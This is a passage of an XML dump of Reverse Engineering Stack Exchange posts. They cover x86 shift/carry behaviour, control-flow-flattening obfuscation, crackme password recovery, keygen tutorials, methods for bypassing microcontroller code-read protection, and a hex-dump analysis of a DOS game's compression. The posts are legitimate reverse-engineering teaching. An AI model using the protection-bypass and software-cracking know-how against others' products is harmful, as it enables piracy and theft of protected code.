X86&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g shotcmp!main;uf .'&#xA;&#xA;shotcmp!main:&#xA;012a6830 55              push    ebp&#xA;012a6831 8bec            mov     ebp,esp&#xA;012a6833 83ec0c          sub     esp,0Ch&#xA;012a6836 c745f801000000  mov     dword ptr [ebp-8],1&#xA;012a683d 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;012a6840 d1e8            shr     eax,1  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;012a6842 83f8ff          cmp     eax,0FFFFFFFFh &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;012a6845 7309            jae     shotcmp!main+0x20 (012a6850) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;shotcmp!main+0x17:&#xA;012a6847 c745fc37130000  mov     dword ptr [ebp-4],1337h&#xA;012a684e eb07            jmp     shotcmp!main+0x27 (012a6857)&#xA;&#xA;shotcmp!main+0x20:&#xA;012a6850 c745fcadde0000  mov     dword ptr [ebp-4],0DEADh&#xA;&#xA;shotcmp!main+0x27:&#xA;012a6857 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;012a685a 894df4          mov     dword ptr [ebp-0Ch],ecx&#xA;012a685d 8b45f4          mov     eax,dword ptr [ebp-0Ch]&#xA;012a6860 8be5            mov     esp,ebp&#xA;012a6862 5d              pop     ebp&#xA;012a6863 c3              ret&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an even or odd testing code in c and asm the asm function uses jae to branch &#xA;while c use je to branch&#xA;testing for carry flag in c is not done usually &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;char *str[] = {&quot;odd&quot;,&quot;even&quot;} ;&#xA;void c_eve_or_odd( int num){&#xA;    (num &amp;amp; 1 ) ? printf(&quot;%4d%5s\t&quot;,num,str[0]) : printf (&quot;%4d%5s\t&quot;,num,str[1]) ;  &#xA;}&#xA;void asm_eve_or_odd(int num) {&#xA;    __asm {&#xA;        mov ecx , num&#xA;        and ecx,1&#xA;        shr ecx ,1&#xA;        jae myeven&#xA;    }&#xA;    printf(&quot;%4d%5s\t&quot;,num,str[0]);&#xA;    goto doexit;&#xA;myeven:&#xA;    printf (&quot;%4d%5s\t&quot;,num,str[1]);&#xA;    goto doexit;&#xA;doexit: &#xA;    return;   &#xA;}&#xA;void main(void) {&#xA;    for(int i =-5; i&amp;lt;=5; i++) { &#xA;        c_eve_or_odd(i);&#xA;        asm_eve_or_odd(i);&#xA;        printf(&quot;\n&quot;); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2OimD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2OimD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just to satisfy my curiosity i grepped all windows binary in system32 for the pattern and i couldn't find one instance of &lt;strong&gt;shr cx,1 jae&lt;/strong&gt;  there are indeed &lt;strong&gt;shr cx ,1&lt;/strong&gt; but none followed by a jae  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just a followup &lt;/p&gt;&#xA;&#xA;&lt;p&gt;grep all exe in c:\windows\system32\ for shr cx,1  sort and print uniq&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for /f %i in ( 'dir /b *.exe ' ) do grep -obUaPH \x66\xd1\xe9 %i  &amp;gt;&amp;gt; checkforshrcx1.txt&#xA;uniq -w  5 checkforshrcx1.txt | sort&#xA;&#xA;appidpolicyconverter.exe:18846:f╤Θ&#xA;autochk.exe:247427:f╤Θ&#xA;autofmt.exe:236801:f╤Θ&#xA;cleanmgr.exe:51672:f╤Θ&#xA;conhost.exe:86983:f╤Θ&#xA;dxcap.exe:479138:f╤Θ&#xA;krnl386.exe:34661:f╤Θ&#xA;ntkrnlpa.exe:52959:f╤Θ&#xA;ntoskrnl.exe:72750:f╤Θ&#xA;ntvdm.exe:215256:f╤Θ&#xA;PresentationSettings.exe:105027:f╤Θ&#xA;RelPost.exe:79287:f╤Θ&#xA;rstrui.exe:186600:f╤Θ&#xA;smss.exe:12952:f╤Θ&#xA;sppsvc.exe:2635363:f╤Θ&#xA;TVWSetup.exe:5441147:f╤Θ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;grep all exe in c:\windows\system32\ for shr cx,1  followed by jae  sort and print uniq&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for /f %i in ( 'dir /b *.exe ' ) do grep -obUaPH \x66\xd1\xe9\x73 %i  &amp;gt;&amp;gt; checkforshrcx1jae.txt&#xA;ls -l checkforshrcx1jae.txt&#xA;-rw-rw-rw-  1  0 0 2018-03-23 10:53 checkforshrcx1jae.txt&#xA;&#xA;cat checkforshrcx1jae.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-23T05:31:03.990" LastActivityDate="2018-03-23T05:31:03.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17758" PostTypeId="1" CreationDate="2018-03-21T07:31:48.123" Score="3" ViewCount="1940" Body="&lt;p&gt;I am trying to reverse engineer an executable that uses a lot of control flow flattening obfuscation (i.e, lots of subroutines that end with something like jmp esi, jmp eax) IDA Pro isn't able to resolve where the jump can branch off to and I'm not really sure what to do here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a plugin for x64dbg ( &lt;a href=&quot;https://github.com/JeremyWildsmith/x64dbg_scripts/blob/master/traceAreas.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JeremyWildsmith/x64dbg_scripts/blob/master/traceAreas.py&lt;/a&gt; ) that locates and monitors the branching instructions in a provided list of subroutines and generates graphml diagrams that I am reading (i.e example like this: &lt;a href=&quot;https://i.stack.imgur.com/4StsO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/4StsO.png&lt;/a&gt; ) that I am viewing and analyzing in yEd live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it generates a lot of data. I know there is a vm hanging around somewhere in there and I am having trouble finding it just because of all the obfuscation. The collected control-flow data is here (warning, big text file, 45kb) &lt;a href=&quot;https://github.com/JeremyWildsmith/x64dbg_scripts/blob/master/flow.graphml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JeremyWildsmith/x64dbg_scripts/blob/master/flow.graphml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open it in yEd Live it looks like there are multiple virtual machines or something? Yeah not really sure where to go with this, if anyone has any advice that would be awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look at the control flow in a radial diagram ( &lt;a href=&quot;https://i.stack.imgur.com/YrHn4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/YrHn4.jpg&lt;/a&gt; ) I think I can identify the center as some sort of dispatcher or interpreter for the bytecode instructions? But what throws me off is how much branching goes on later on through the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23370" LastActivityDate="2018-03-21T14:18:33.407" Title="How to deal with heavy control flow flattening?" Tags="|deobfuscation|virtual-machines|control-flow-graph|virtualizers|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17759" PostTypeId="2" ParentId="17754" CreationDate="2018-03-21T07:46:05.350" Score="0" Body="&lt;p&gt;I cannot say if this is certanly the case here, but shift right is basicly divide by 2 so posted code is actualy testing for odd numbers.&lt;/p&gt;&#xA;" OwnerUserId="23695" LastActivityDate="2018-03-21T07:46:05.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17760" PostTypeId="2" ParentId="17758" CreationDate="2018-03-21T11:49:56.727" Score="1" Body="&lt;p&gt;One would have to look at the code. &#xA;How are the jump targets calculated?&#xA;From your diagrams it could also be something as simple as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void jump_to_x_plus_5(uint x) { jmp x+5; }&#xA;void jump_to_x_plus_7(uint x) { jmp x+7; }&#xA;void jump_to_x_plus_9(uint x) { jmp x+9; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And they just replaced all absolute jumps in the &lt;code&gt;.asm&lt;/code&gt; with calls to &lt;code&gt;random.choice()&lt;/code&gt; of those functions.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastEditorUserId="53" LastEditDate="2018-03-21T14:18:33.407" LastActivityDate="2018-03-21T14:18:33.407" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17761" PostTypeId="2" ParentId="17754" CreationDate="2018-03-21T12:02:35.000" Score="2" Body="&lt;p&gt;Okay:&#xA;JAE is synonym to JNC (jump if no carry flag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the docs for SHR say:”Bits shifted beyond the destination are first shifted into the CF flag.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you jump when the rightmost bit (before shifting) is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity without the changing of cx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (cx &amp;amp; 1 == 0) ...         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-03-21T12:02:35.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17762" PostTypeId="2" ParentId="17753" CreationDate="2018-03-21T13:30:19.490" Score="5" Body="&lt;p&gt;The question is kinda vague but here's some approaches that might work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Glitching (e.g. voltage dropping, clock slowdown, too short reset pulse). This could cause either a change in the sensed value of the fuse, or change in the code flow in case the check is implemented in software. For an example of this technique see &lt;em&gt;Breaking Code Read Protection on the NXP LPC-family Microcontrollers&lt;/em&gt; by Chris Gerlinsky (recon BRX 2017).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Timing/side-channel attacks in case the checks are not specifically hardened against it. A very nice presentation using this technique was shown at Recon BRX 2018(&lt;em&gt;Hacking Toshiba Laptops&lt;/em&gt; by Michał Kowalczyk and Serge Bazanski)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hardware attack (decapping the chip and changing the fuse value by direct micoprobing on the chip subtsrate, or just hooking into the core JTAG signals). This is rather complicated and needs a big investment of time and money but some code readout protections have been broken this way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-21T13:30:19.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17764" PostTypeId="1" AcceptedAnswerId="17765" CreationDate="2018-03-21T15:19:04.787" Score="2" ViewCount="8433" Body="&lt;p&gt;I know that a software is cracked by reverse engineering it and reading it's assembly code... My question is how and what do crackers look for in the assembly code? And how do they know what algorithm is being used to verify the serial code (since we cannot see the original source code)?&lt;/p&gt;&#xA;" OwnerUserId="23698" LastActivityDate="2018-03-21T18:17:29.017" Title="How is a keygen made by reversing a software?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="1" ClosedDate="2018-03-23T07:18:41.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="17765" PostTypeId="2" ParentId="17764" CreationDate="2018-03-21T16:48:01.733" Score="1" Body="&lt;p&gt;Sounds like you are asking for an introduction to reverse engineering. If this is a topic that interests you, I recommend a well known tutorial series from the &quot;Legend of Random&quot;. The original blog is now defunct, but is mirrored here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://octopuslabs.io/legend/blog/sample-page.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://octopuslabs.io/legend/blog/sample-page.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorials build upon one another, so if you'd like to learn start with #1 and finish them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://octopuslabs.io/legend/blog/archives/1875/1875.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial #19&lt;/a&gt; addresses your question more directly, but you should complete the other tutorials in order to gain the knowledge necessary to understand tutorial #19.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-03-21T16:48:01.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17766" PostTypeId="2" ParentId="17764" CreationDate="2018-03-21T18:17:29.017" Score="2" Body="&lt;p&gt;In addition to what Mick said, &lt;a href=&quot;https://www.youtube.com/watch?v=DEDYk8zN53A&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is an excellent video tutorial on the topic&lt;/a&gt;, where the individual takes nearly 2 hours to thoroughly demonstrate how to reverse engineer the key validation algorithm in a particular CrackMe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's a &quot;simple&quot; example in a world filled with much more complex key/license algorithms, I think it's an incredible resource for beginners/intermediates to learn from.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-03-21T18:17:29.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17767" PostTypeId="1" AcceptedAnswerId="17769" CreationDate="2018-03-21T19:22:51.263" Score="-1" ViewCount="674" Body="&lt;p&gt;In OllyDbg 1.10 (assembler level deubugger) I can find all referenced text strings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program compare if a user input string is equal  a internal string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I debug the program, I can't find the internal string. I found only the string of the image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program is a Windows Console (DOS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the string the plugin found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KDMQc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KDMQc.jpg&quot; alt=&quot;string found with OllyDbg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This strings appear in the program, but I can't see the string when program say &quot;Congratulations....&quot;, is 4 lines under the red mark in the image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can help?&#xA;How I can debug and see the text of comparision?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NYiP4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYiP4.jpg&quot; alt=&quot;The program say congrats after compare&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if user_input == X then&#xA; print &quot;Congratulations....&quot;&#xA;else&#xA; print &quot;Better luck next time...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How find X string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the answer, I recommend, in this case, to use x64dbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kpw78.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kpw78.jpg&quot; alt=&quot;xdbg screenshot with the same information&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23512" LastEditorUserId="23512" LastEditDate="2018-03-22T15:32:43.180" LastActivityDate="2018-03-22T15:32:43.180" Title="how to find the strings values in a comparision using ollydbg" Tags="|windows|ollydbg|debugging|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17769" PostTypeId="2" ParentId="17767" CreationDate="2018-03-22T08:04:34.343" Score="0" Body="&lt;p&gt;It's hard to answer by looking at the low-res image but it looks like that the 'X' is not present in as as string in one place. Instead there are bunch of char comparisons spread across this binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP BYTE PTR SS:[ESP+25], 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gather those together (there should be some above the part that you've pased) and sort by the index (ESP+&lt;strong&gt;xx&lt;/strong&gt;). Converting the values after the comma (in this case 40) to ascii and printing them should give you the 'X'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the image we have:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hac__h___rad_$E&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-03-22T08:04:34.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17770" PostTypeId="1" CreationDate="2018-03-22T10:18:54.177" Score="1" ViewCount="1054" Body="&lt;p&gt;Currently I'm in reversing an old MS-DOS &lt;strong&gt;Neuromancer&lt;/strong&gt; game (Interplay Productions, 1988. Based on William Gibson's novel). For now I have already written an utility that parses game resources and extracts sprites. Sprites are bitmaps that compressed with some fancy algorithm. I have restored that algorithm by porting it's 16-bit disassembly to 64-bit assembly (I'm working on &lt;em&gt;Windows 10&lt;/em&gt; and using &lt;em&gt;MASM&lt;/em&gt; in &lt;em&gt;MSVS 2017&lt;/em&gt;). It results in ~800 lines of pretty obfuscated assembly (which became even more obfuscated after porting it to 64-bit) that works and I'm about rewriting it in plain old &lt;em&gt;C&lt;/em&gt;. However it makes no sense because i can't identify an actual algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the problem. I assume that the game uses some widly known data compression algorithm. I will provide an example by posting chunks of data that are observable during the decompression process. I hope that there are some compression experts who will recognize the algorithm (if my theory about &quot;widly known algorithm&quot; is correct). Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here we go, decompressing CURSORS.IMH file that contains a series of bitmaps that shows diffrent in-game cursors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SRC: Initial data, 211 bytes stored in 512 byte buffer:&#xA;0x0000  3f 01 00 00 04 40 7e ec d0 c2 2d 0a 46 a3 3f f2&#xA;0x0010  71 11 62 30 64 0e 10 4c e0 c5 85 05 fc ff 50 01&#xA;0x0020  04 c0 26 0f e2 c0 85 c2 50 17 fa 05 54 b0 6c 2d&#xA;0x0030  74 13 e9 c7 45 1d d8 b6 2c 18 e7 14 7b 8b d7 9b&#xA;0x0040  bb e5 eb 60 4d 2f ef 70 3a 1e 42 fe d9 c0 5d c0&#xA;0x0050  eb cd ee 07 b9 bf 82 1c 01 41 bb 15 36 0b 74 3a&#xA;0x0060  4b c8 74 9e 45 d7 5b 26 63 f4 24 e9 da ea 5c c6&#xA;0x0070  e8 59 d7 93 41 f7 94 df b7 ac 4d b7 ef c2 cc 4f&#xA;0x0080  5d 5f 66 d1 e5 e3 3f 2b ac 42 7c 5e 3a f1 9f 95&#xA;0x0090  d7 d9 e8 e9 3d 75 62 de 9b 05 86 e6 0e bf 79 4c&#xA;0x00A0  1d 0b 3a 76 9a 97 31 ba 12 74 ed 75 26 63 fe 79&#xA;0x00B0  17 5f bc 87 fd 58 9b 6f dd 0b 12 f2 65 2f 12 fb&#xA;0x00C0  1e 99 5e 37 b2 4c 42 4c 4f 4c af 1b 6c c4 be c7&#xA;0x00D0  c9 9f c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Processing starts from the fist byte of &lt;code&gt;SRC&lt;/code&gt; and suspends on 44th byte. Here is the intermediate result of that processing stored in 2048 byte buffer located right after the &lt;code&gt;SRC&lt;/code&gt; buffer (actually, there are 10 bytes between them, where among other things an address of 44th byte is stored):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0200  00 80 01 00 5c ea 3f 01 00 00&#xA;0x020A  02 00 02 00 0e 00 04 00 1f 00 05 00 04 00 04 00&#xA;0x021A  18 00 05 00 3a 00 07 00 0d 00 05 00 00 00 00 00&#xA;0x022A  05 00 04 00 df 00 08 00 0d 00 08 00 de 00 08 00&#xA;0x023A  05 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;0x024A  00 00 05 00 05 00 05 00 00 00 00 00 00 00 00 00&#xA;0x025A  00 00 00 00 00 00 00 00 0c 00 08 00 00 00 00 00&#xA;0x026A  00 00 00 00 0f 00 08 00 0e 00 08 00 00 00 00 00&#xA;... ZEROES ...&#xA;0x02CA  1a 00 05 00 00 00 00 00 00 00 00 00 0c 00 05 00&#xA;0x02DA  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;0x02EA  04 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;... ZEROES ...&#xA;0x038A  6e 00 07 00 1c 00 06 00 00 00 00 00 00 00 00 00&#xA;0x039A  00 00 00 00 00 00 00 00 09 00 08 00 00 00 00 00&#xA;... ZEROES ...&#xA;0x040A  19 00 05 00 00 00 00 00 00 00 00 00 07 00 05 00&#xA;0x041A  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;0x042A  06 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;... ZEROES ...&#xA;0x05EA  00 00 00 00 3b 00 07 00 00 00 00 00 08 00 08 00&#xA;0x05FA  36 00 06 00 0f 00 05 00 1e 00 05 00 01 00 04 00&#xA;0x060A  05 10 00 00 05 10 00 00 05 10 00 00 05 10 00 00&#xA;0x061A  05 10 00 00 05 10 00 00 05 10 00 00 05 10 00 00&#xA;0x062A  08 fb 00 00 08 66 00 00 07 0c 00 00 07 0c 00 00&#xA;0x063A  08 16 00 00 08 0a 00 00 08 1a 00 00 08 19 00 00&#xA;0x064A  04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00&#xA;0x065A  04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00&#xA;0x066A  04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00&#xA;0x067A  04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00&#xA;0x068A  05 38 00 00 05 38 00 00 05 38 00 00 05 38 00 00&#xA;0x069A  05 38 00 00 05 38 00 00 05 38 00 00 05 38 00 00&#xA;0x06AA  05 11 00 00 05 11 00 00 05 11 00 00 05 11 00 00&#xA;0x06BA  05 11 00 00 05 11 00 00 05 11 00 00 05 11 00 00&#xA;0x06CA  05 88 00 00 05 88 00 00 05 88 00 00 05 88 00 00&#xA;0x06DA  05 88 00 00 05 88 00 00 05 88 00 00 05 88 00 00&#xA;0x06EA  05 83 00 00 05 83 00 00 05 83 00 00 05 83 00 00&#xA;0x06FA  05 83 00 00 05 83 00 00 05 83 00 00 05 83 00 00&#xA;0x070A  04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00&#xA;0x071A  04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00&#xA;0x072A  04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00&#xA;0x073A  04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00&#xA;0x074A  04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00&#xA;0x075A  04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00&#xA;0x076A  04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00&#xA;0x077A  04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00&#xA;0x078A  05 33 00 00 05 33 00 00 05 33 00 00 05 33 00 00&#xA;0x079A  05 33 00 00 05 33 00 00 05 33 00 00 05 33 00 00&#xA;0x07AA  05 06 00 00 05 06 00 00 05 06 00 00 05 06 00 00&#xA;0x07BA  05 06 00 00 05 06 00 00 05 06 00 00 05 06 00 00&#xA;0x07CA  06 61 00 00 06 61 00 00 06 61 00 00 06 61 00 00&#xA;0x07DA  07 05 00 00 07 05 00 00 07 f9 00 00 07 f9 00 00&#xA;0x07EA  05 fd 00 00 05 fd 00 00 05 fd 00 00 05 fd 00 00&#xA;0x07FA  05 fd 00 00 05 fd 00 00 05 fd 00 00 05 fd 00 00&#xA;0x080A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x081A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x082A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x083A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x084A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x085A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x086A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x087A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x088A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x089A  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08AA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08BA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08CA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08DA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08EA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x08FA  02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00&#xA;0x090A  05 04 00 00 05 04 00 00 05 04 00 00 05 04 00 00&#xA;0x091A  05 04 00 00 05 04 00 00 05 04 00 00 05 04 00 00&#xA;0x092A  05 80 00 00 05 80 00 00 05 80 00 00 05 80 00 00&#xA;0x093A  05 80 00 00 05 80 00 00 05 80 00 00 05 80 00 00&#xA;0x094A  05 30 00 00 05 30 00 00 05 30 00 00 05 30 00 00&#xA;0x095A  05 30 00 00 05 30 00 00 05 30 00 00 05 30 00 00&#xA;0x096A  06 fc 00 00 06 fc 00 00 06 fc 00 00 06 fc 00 00&#xA;0x097A  07 60 00 00 07 60 00 00 08 0b 00 00 08 09 00 00&#xA;0x098A  04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00&#xA;0x099A  04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00&#xA;0x09AA  04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00&#xA;0x09BA  04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00&#xA;0x09CA  05 fe 00 00 05 fe 00 00 05 fe 00 00 05 fe 00 00&#xA;0x09DA  05 fe 00 00 05 fe 00 00 05 fe 00 00 05 fe 00 00&#xA;0x09EA  05 02 00 00 05 02 00 00 05 02 00 00 05 02 00 00&#xA;0x09FA  05 02 00 00 05 02 00 00 05 02 00 00 05 02 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Processing continues from 44th byte of &lt;code&gt;SRC&lt;/code&gt;. The remaining bytes are processed with result stored in external intemediate buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMM: Intermediate data, 319 bytes:&#xA;0x0000  00 00 00 00 08 00 0a 00 ff 06 05 66 fe 00 61 05&#xA;0x0010  11 ff 60 04 00 fc 11 00 16 61 01 11 ff 01 01 11&#xA;0x0020  01 00 fe 06 60 02 11 01 00 fc 10 00 06 11 02 00&#xA;0x0030  fe 01 10 01 00 ff 01 03 11 02 00 fc 61 10 00 01&#xA;0x0040  01 10 01 00 fe 06 01 01 10 fe 01 06 02 00 fb 61&#xA;0x0050  10 11 10 60 04 00 00 00 06 00 0c 00 01 00 ff 30&#xA;0x0060  03 00 fe 03 83 03 00 fd 38 08 30 01 00 fc 03 80&#xA;0x0070  00 83 01 00 ff 38 01 00 f9 08 30 00 08 80 00 88&#xA;0x0080  01 00 ff 33 01 00 fe 03 30 19 00 fe 08 88 02 00&#xA;0x0090  0b 00 04 00 06 00 09 00 02 00 ff 33 04 00 fd 08&#xA;0x00A0  30 00 02 33 fc 00 83 00 08 01 88 fd 80 08 30 04&#xA;0x00B0  00 ff 83 04 00 fe 83 08 01 88 fd 80 08 30 02 33&#xA;0x00C0  fe 00 83 03 00 fd 08 30 00 04 00 0b 00 06 00 0c&#xA;0x00D0  00 ff 00 01 33 ff 30 02 00 fe 08 88 1a 00 ff 33&#xA;0x00E0  01 00 f9 03 30 00 08 80 00 88 01 00 ff 38 01 00&#xA;0x00F0  f9 08 30 00 03 80 00 83 02 00 fd 38 08 30 02 00&#xA;0x0100  fe 03 83 02 00 00 00 04 00 06 00 09 00 01 00 ff&#xA;0x0110  33 03 00 fe 03 80 03 00 fe 38 00 02 33 fd 03 80&#xA;0x0120  08 01 88 fe 80 38 04 00 ff 38 04 00 fd 03 80 08&#xA;0x0130  01 88 fc 80 00 38 00 02 